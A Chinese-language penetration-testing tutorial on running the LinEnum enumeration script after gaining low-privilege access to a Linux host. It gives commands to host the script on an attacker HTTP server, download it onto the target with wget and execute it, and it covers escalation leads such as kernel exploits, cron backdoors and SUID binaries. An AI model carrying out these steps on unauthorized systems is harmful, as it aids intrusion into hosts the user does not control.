在获得 linux 主机权限之后,比如获得了一个 webshell、拿到一个低权限的账号,通常测试人员为了获得更多信息会选择提升当前权限,也就 root 权限,这样系统上的所有内容都可以查看和使用。
LinEnum 是一个辅助提权的脚本,它可以获去 linux 服务器上的内核版本信息、系统信息、用户信息、权限信息等各类与提权相关的信息,虽然已经有三年未更新,但不失为一个自动化获取目标信息的好工具,项目地址:
https://github.com/rebootuser/LinEnum
使用之前我们可以将脚本放置在远程服务器上,然后在目标环境中直接下载执行即可,远程服务的配置使用 python 只需要一条命了来启动一个 http 服务,比如 python2 的:
python -m SimpleHTTPServer 80
python3:
python3 -m http.server 80
然后将该脚本放在启动 http 服务的目录下,然后就可以使用:
wget http://X.X.X.X/LinEnum.sh
在目标环境下执行下载,然后使用 chmod +x LinEnum.sh
给脚本增加可以执行的权限,下面是整个过程的截图:
接下来看看这个脚本都获取到了哪些信息。
在提权中,使用内核漏洞溢出提权是最常用以及最有效的手段,获取系统信息能很好的帮助我们找到合适的 EXP 进行提权操作,比如最新的 CVE-2022-0847 (内核版本 >= 5.8),还有之前的 CVE-2016-5195 脏牛漏洞(Dirty Cow),下面是 LinEnum 获取的系统信息:
了解用户和组的信息,可以给我们枚举目标用户的认证口令提供帮助,而且用户目录下可能会有一些敏感的文件有助于我们提升当前权限,重点关注的信息包括:
1、/etc/passwd 文件,如果该文件可读,我们就可以获得一个主机上的用户列表
2、当前用户的权限,是否可以 sudo,能否读取一些日志目录内的文件
3、是否可以查看 home 目录,该目录下是所有非 root 用户的活动空间,也许会有一些敏感的文件可以查看
LinEnum 获取到的信息如图:
环境变量中会保存一些服务、应用的默认配置,比如目录、口令等信息,LinEnum 获取到的信息如图:
Linux 计划任务中会保存一些需要自动执行的脚本配置,基于配置信息定位到脚本路径,然后查看内容,也许会保存一些其他服务器的认证信息,还可以查看计划任务的配置目录当前权限是否具有可编辑的权限,也许可以更改内容,执行我们的后门文件。下图是 LinEnum 获取到的计划任务信息:
通过网络信息,可以关注一下哪些端口运行的服务是使用 root 权限启动的,可以尝试访问,如果能获得该服务的权限,不也就可以获取 root 权限吗,具体获得的信息看图:
通过查看启动的服务查找设置了 SUID 位的二进制文件,比如未设置 SUID 的二进制文件如图:
设置了 SUID 位的二进制文件如图:
如果权限部分设置了 s 而不是 x,则表示该二进制文件设置了 SUID 位,这个二进制文件可以在低权限的时候执行它从而获得高权限,下图是 LinEnum 获取到的信息:
LinEnum 能过获得主机上已经按照部署到软件和版本等信息,可以让我们快速了解目标主机的软件情况:
这里包括了一些方便我们使用工具,比如 nc、wget 等,还有一些用户组的核心文件,还有设置了 SUID 位的文件,如图:
在获得一个主机权限之后,LinEnum 可以快速获取我们想要关注的信息,能过给我们的渗透过程提高效率,无需手动一个命令一个命令的执行,自动化整理信息,更快更方便。
除了直接使用方便之外,对于我们而言也是一个可以学习借鉴的脚本,了解提权的时候需要关注哪些信息,如何获取。
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。